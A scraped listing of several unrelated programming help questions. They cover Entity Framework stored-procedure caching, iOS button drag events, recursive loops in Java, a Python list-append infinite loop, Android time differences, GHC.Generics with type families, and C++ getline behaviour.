    Hello I have a stored procedure that I am calling through Entity Framework. The stored procedure has 2 date parameters. I supply different argument in the 2 times I call the stored procedure. I have verified using SQL Profiler that the stored procedure is being called correctly and returning the correct results. When I call my method the second time with different arguments, even though the stored procedure is bringing back the correct results, the table created contains the same data as the first time I called it. dtStart = 01/08/2009 dtEnd = 31/08/2009 public List<dataRecord> GetData(DateTime dtStart, DateTime dtEnd) { var tbl = from t in db.SP(dtStart, dtEnd) select t; return tbl.ToList(); } GetData((new DateTime(2009, 8, 1), new DateTime(2009, 8, 31)) // tbl.field1 value = 45450 - CORRECT GetData(new DateTime(2009, 7, 1), new DateTime(2009, 7, 31)) // tbl.field1 value = 45450 - WRONG 27456 expected Is this a case of Entity Framework being clever and caching? I can't see why it would cache this though as it has executed the stored procedure twice. Do I have to do something to close tbl? using Visual Studio 2008 + Entity Framework. I also get the message "query cannot be enumerated more than once" a few times every now and then, am not sure if that is relevant? FULL CODE LISTING namespace ProfileDataService { public partial class DataService { public static List<MeterTotalConsumpRecord> GetTotalAllTimesConsumption(DateTime dtStart, DateTime dtEnd, EUtilityGroup ug, int nMeterSelectionType, int nCustomerID, int nUserID, string strSelection, bool bClosedLocations, bool bDisposedLocations) { dbChildDataContext db = DBManager.ChildDataConext(nCustomerID); var tbl = from t in db.GetTotalConsumptionByMeter(dtStart, dtEnd, (int) ug, nMeterSelectionType, nCustomerID, nUserID, strSelection, bClosedLocations, bDisposedLocations, 1) select t; return tbl.ToList(); } } } /// CALLER List<MeterTotalConsumpRecord> _P1Totals; List<MeterTotalConsumpRecord> _P2Totals; public void LoadData(int nUserID, int nCustomerID, ELocationSelectionMethod locationSelectionMethod, string strLocations, bool bIncludeClosedLocations, bool bIncludeDisposedLocations, DateTime dtStart, DateTime dtEnd, ReportsBusinessLogic.Lists.EPeriodType durMainPeriodType, ReportsBusinessLogic.Lists.EPeriodType durCompareToPeriodType, ReportsBusinessLogic.Lists.EIncreaseReportType rptType, bool bIncludeDecreases) { ///Code for setting properties using parameters.. _P2Totals = ProfileDataService.DataService.GetTotalAllTimesConsumption(_P2StartDate, _P2EndDate, EUtilityGroup.Electricity, 1, nCustomerID, nUserID, strLocations, bIncludeClosedLocations, bIncludeDisposedLocations); _P1Totals = ProfileDataService.DataService.GetTotalAllTimesConsumption(_StartDate, _EndDate, EUtilityGroup.Electricity, 1, nCustomerID, nUserID, strLocations, bIncludeClosedLocations, bIncludeDisposedLocations); PopulateLines() //This fills up a list of objects with information for my report ready for the totals to be added PopulateTotals(_P1Totals, 1); PopulateTotals(_P2Totals, 2); } void PopulateTotals(List<MeterTotalConsumpRecord> objTotals, int nPeriod) { MeterTotalConsumpRecord objMeterConsumption = null; foreach (IncreaseReportDataRecord objLine in _Lines) { objMeterConsumption = objTotals.Find(delegate(MeterTotalConsumpRecord t) { return t.MeterID == objLine.MeterID; }); if (objMeterConsumption != null) { if (nPeriod == 1) { objLine.P1Consumption = (double)objMeterConsumption.Consumption; } else { objLine.P2Consumption = (double)objMeterConsumption.Consumption; } objMeterConsumption = null; } } } }

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  • UIButtons creating a native-like keyboard behavior.

    - by camilo
    Greets. A somehow detailed explanation on my problem, and what I have already done, and what I cannot do. I want to create a behavior resembling the one in the iPhone's keyboard. Basically, I want a view to appear when the user taps a button and WHILE the user taps that button. This, I accomplished. When the user lets go of the button WHILE his finger is on that button's area, I want to trigger an action "doing stuff". This, I was also able to do. Since all the buttons are near (like in the keyboard) and I don't want the user to select other button than the one he pressed, I reduced the hit area for the button using the -(BOOL)pointInside:(CGPoint)point withEvent:(UIEvent )event function. When the user presses the button, not lifting its finger, and dragging outside the button area, I want another action to trigger. This is the first problem... This function only triggers when the user's finger is far from the buttons' area, and this time the pointInside function is not being my friend. How can I detect the user finger "left" the button area the moment it exits its bounds? This, in case you didn't realize... was problem 1. The second problem is related with the drag enter. Again, I need to limit the area like in the drag exit. But I suppose that when I solve one of these, the other is the same. The problem is that in order to have a behavior like in the keyboard, I may need to detect the user started the touch in another button, never lifted his finger, and changed to another button. I can detect drag enter and drag exit IN THIS ORDER while on the same button. I cannot detect drag enter when the user first touched anywhere else other than the button where I want to detect the drag enter event. Basically what I need is to detect touch on any button (and not anywhere else in the view), and while the user is changing buttons without lifting the finger, I want to detect the new button being touched. This gigantic paragraph was problem #2. Any help, as you might guess, is highly appreciated. Best Regards. Thanks a lot!

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  • Java: Combination of recursive loops which has different FOR loop inside; Output: FOR loops indexes

    - by vvinjj
    currently recursion is fresh & difficult topic for me, however I need to use it in one of my algorithms. Here is the challenge: I need a method where I specify number of recursions (number of nested FOR loops) and number of iterations for each FOR loop. The result should show me, something simmilar to counter, however each column of counter is limited to specific number. ArrayList<Integer> specs= new ArrayList<Integer>(); specs.add(5); //for(int i=0 to 5; i++) specs.add(7); specs.add(9); specs.add(2); specs.add(8); specs.add(9); public void recursion(ArrayList<Integer> specs){ //number of nested loops will be equal to: specs.size(); //each item in specs, specifies the For loop max count e.g: //First outside loop will be: for(int i=0; i< specs.get(0); i++) //Second loop inside will be: for(int i=0; i< specs.get(1); i++) //... } The the results will be similar to outputs of this manual, nested loop: int[] i; i = new int[7]; for( i[6]=0; i[6]<5; i[6]++){ for( i[5]=0; i[5]<7; i[5]++){ for(i[4] =0; i[4]<9; i[4]++){ for(i[3] =0; i[3]<2; i[3]++){ for(i[2] =0; i[2]<8; i[2]++){ for(i[1] =0; i[1]<9; i[1]++){ //... System.out.println(i[1]+" "+i[2]+" "+i[3]+" "+i[4]+" "+i[5]+" "+i[6]); } } } } } } I already, killed 3 days on this, and still no results, was searching it in internet, however the examples are too different. Therefore, posting the programming question in internet first time in my life. Thank you in advance, you are free to change the code efficiency, I just need the same results.

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  • Infinite loop when adding a row to a list in a class in python3

    - by Margaret
    I have a script which contains two classes. (I'm obviously deleting a lot of stuff that I don't believe is relevant to the error I'm dealing with.) The eventual task is to create a decision tree, as I mentioned in this question. Unfortunately, I'm getting an infinite loop, and I'm having difficulty identifying why. I've identified the line of code that's going haywire, but I would have thought the iterator and the list I'm adding to would be different objects. Is there some side effect of list's .append functionality that I'm not aware of? Or am I making some other blindingly obvious mistake? class Dataset: individuals = [] #Becomes a list of dictionaries, in which each dictionary is a row from the CSV with the headers as keys def field_set(self): #Returns a list of the fields in individuals[] that can be used to split the data (i.e. have more than one value amongst the individuals def classified(self, predicted_value): #Returns True if all the individuals have the same value for predicted_value def fields_exhausted(self, predicted_value): #Returns True if all the individuals are identical except for predicted_value def lowest_entropy_value(self, predicted_value): #Returns the field that will reduce <a href="http://en.wikipedia.org/wiki/Entropy_%28information_theory%29">entropy</a> the most def __init__(self, individuals=[]): and class Node: ds = Dataset() #The data that is associated with this Node links = [] #List of Nodes, the offspring Nodes of this node level = 0 #Tree depth of this Node split_value = '' #Field used to split out this Node from the parent node node_value = '' #Value used to split out this Node from the parent Node def split_dataset(self, split_value): fields = [] #List of options for split_value amongst the individuals datasets = {} #Dictionary of Datasets, each one with a value from fields[] as its key for field in self.ds.field_set()[split_value]: #Populates the keys of fields[] fields.append(field) datasets[field] = Dataset() for i in self.ds.individuals: #Adds individuals to the datasets.dataset that matches their result for split_value datasets[i[split_value]].individuals.append(i) #<---Causes an infinite loop on the second hit for field in fields: #Creates subnodes from each of the datasets.Dataset options self.add_subnode(datasets[field],split_value,field) def add_subnode(self, dataset, split_value='', node_value=''): def __init__(self, level, dataset=Dataset()): My initialisation code is currently: if __name__ == '__main__': filename = (sys.argv[1]) #Takes in a CSV file predicted_value = "# class" #Identifies the field from the CSV file that should be predicted base_dataset = parse_csv(filename) #Turns the CSV file into a list of lists parsed_dataset = individual_list(base_dataset) #Turns the list of lists into a list of dictionaries root = Node(0, Dataset(parsed_dataset)) #Creates a root node, passing it the full dataset root.split_dataset(root.ds.lowest_entropy_value(predicted_value)) #Performs the first split, creating multiple subnodes n = root.links[0] n.split_dataset(n.ds.lowest_entropy_value(predicted_value)) #Attempts to split the first subnode.

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  • How to calculate the time difference between two time fields , with respect to the date changes

    - by Tiru
    I want to calculate the time difference.I have three EditTexts , I want to input the times in the first two edittexts in HH:MM format. And then calculate the time difference and the result will show on third edittext field in same format. If the date changes, the time difference will calculate according that, i.e If first time = 23:00 and second time = 01:00 then, the time difference = 02:00 hours public class TimeCalculate extends Activity { private String mBlock; private String mBlockoff; private String mBlockon ; // String mHours, mMinutes; Date date1, date2; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); EditText blockoff = (EditText) findViewById(R.id.blockoff); mBlockoff = blockoff.getText().toString(); EditText blockon = (EditText) findViewById(R.id.blockon); mBlockon = blockon.getText().toString(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("hh:mm"); try { date1 = simpleDateFormat.parse(mBlockoff); } catch (ParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } try { date2 = simpleDateFormat.parse(mBlockon); } catch (ParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } mBlock = getDifference(date1, date2); EditText block = (EditText) findViewById(R.id.block); block.setText(mBlock.toString()); } public static String getDifference(Date startTime, Date endTime) { if (startTime == null) return "corrupted"; Calendar startDateTime = Calendar.getInstance(); startDateTime.setTime(startTime); Calendar endDateTime = Calendar.getInstance(); endDateTime.setTime(endTime); long milliseconds1 = startDateTime.getTimeInMillis(); long milliseconds2 = endDateTime.getTimeInMillis(); long diff = milliseconds2 - milliseconds1; /*int hours = (int)diff / (60 * 60 * 1000); int minutes = (int) (diff / (60 * 1000)); minutes = minutes - 60 * hours; long seconds = diff / (1000); */ //timeDiff = DateUtils.formatElapsedTime(seconds); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("HH:MM"); Date date = new Date(diff); return simpleDateFormat.format(date); } } I executed this code ,but gives error as Source not found.I think error at getDifference method.Please give any other logic

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  • GHC.Generics and Type Families

    - by jberryman
    This is a question related to my module here, and is simplified a bit. It's also related to this previous question, in which I oversimplified my problem and didn't get the answer I was looking for. I hope this isn't too specific, and please change the title if you can think if a better one. Background My module uses a concurrent chan, split into a read side and write side. I use a special class with an associated type synonym to support polymorphic channel "joins": {-# LANGUAGE TypeFamilies #-} class Sources s where type Joined s newJoinedChan :: IO (s, Messages (Joined s)) -- NOT EXPORTED --output and input sides of channel: data Messages a -- NOT EXPORTED data Mailbox a instance Sources (Mailbox a) where type Joined (Mailbox a) = a newJoinedChan = undefined instance (Sources a, Sources b)=> Sources (a,b) where type Joined (a,b) = (Joined a, Joined b) newJoinedChan = undefined -- and so on for tuples of 3,4,5... The code above allows us to do this kind of thing: example = do (mb , msgsA) <- newJoinedChan ((mb1, mb2), msgsB) <- newJoinedChan --say that: msgsA, msgsB :: Messages (Int,Int) --and: mb :: Mailbox (Int,Int) -- mb1,mb2 :: Mailbox Int We have a recursive action called a Behavior that we can run on the messages we pull out of the "read" end of the channel: newtype Behavior a = Behavior (a -> IO (Behavior a)) runBehaviorOn :: Behavior a -> Messages a -> IO () -- NOT EXPORTED This would allow us to run a Behavior (Int,Int) on either of msgsA or msgsB, where in the second case both Ints in the tuple it receives actually came through separate Mailboxes. This is all tied together for the user in the exposed spawn function spawn :: (Sources s) => Behavior (Joined s) -> IO s ...which calls newJoinedChan and runBehaviorOn, and returns the input Sources. What I'd like to do I'd like users to be able to create a Behavior of arbitrary product type (not just tuples) , so for instance we could run a Behavior (Pair Int Int) on the example Messages above. I'd like to do this with GHC.Generics while still having a polymorphic Sources, but can't manage to make it work. spawn :: (Sources s, Generic (Joined s), Rep (Joined s) ~ ??) => Behavior (Joined s) -> IO s The parts of the above example that are actually exposed in the API are the fst of the newJoinedChan action, and Behaviors, so an acceptable solution can modify one or all of runBehaviorOn or the snd of newJoinedChan. I'll also be extending the API above to support sums (not implemented yet) like Behavior (Either a b) so I hoped GHC.Generics would work for me. Questions Is there a way I can extend the API above to support arbitrary Generic a=> Behavior a? If not using GHC's Generics, are there other ways I can get the API I want with minimal end-user pain (i.e. they just have to add a deriving clause to their type)?

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  • getline() sets failbit and skips last line

    - by Thanatos
    I'm using std::getline() to enumerate through the lines in a file, and it's mostly working. It's left me curious however - std::getline() is skipping the very last line in my file, but only if it's blank. Using this minimal example: #include <iostream> #include <string> int main() { std::string line; while(std::getline(std::cin, line)) std::cout << "Line: “" << line << "”\n"; return 0; } If I feed it this: Line A Line B Line C I get those lines back at me. But this: Line A Line B Line C [* line is present but blank, ie, the file end is: "...B\nLine C\n" *] (I unfortunately can't have a blank line in SO's little code box thing...) So, first file has three lines ( ["Line A", "Line B", "Line C"] ), second file has four ( ["Line A", "Line B", "Line C", ""] ) This to me seems wrong - I have a four line file, and enumerating it with getline() leaves me with 3. What's really got me scratching my head is that this is exactly what the standard says it should do. (21.3.7.9) Even Python has similar behaviour (but it gives me the newlines too - C++ chops them off.) Is this some weird thing where C++ is expected lines to be terminated, and not separated by '\n', and I'm feeding it differently? Edit Clearly, I need to expand a bit here. I've met up with two philosophies of determining what a "line" in a file is: Lines are terminated by newlines - Dominant in systems such as Linux, and editors like vim. Possible to have a slightly "odd" file by not having a final '\n' (a "noeol" in vim). Impossible to have a blank line at the end of a file. Lines are separated by newlines - Dominant in just about every Windows editor I've ever come across. Every file is valid, and it's possible to have the last line be blank. Of course, YMMV as to what a newline is. I've always treated these as two completely different schools of thought. One earlier point I tried to make was to ask if the C++ standard was explicitly or merely implicitly following the first. (Curiously, where is Mac? terminated or separated?)

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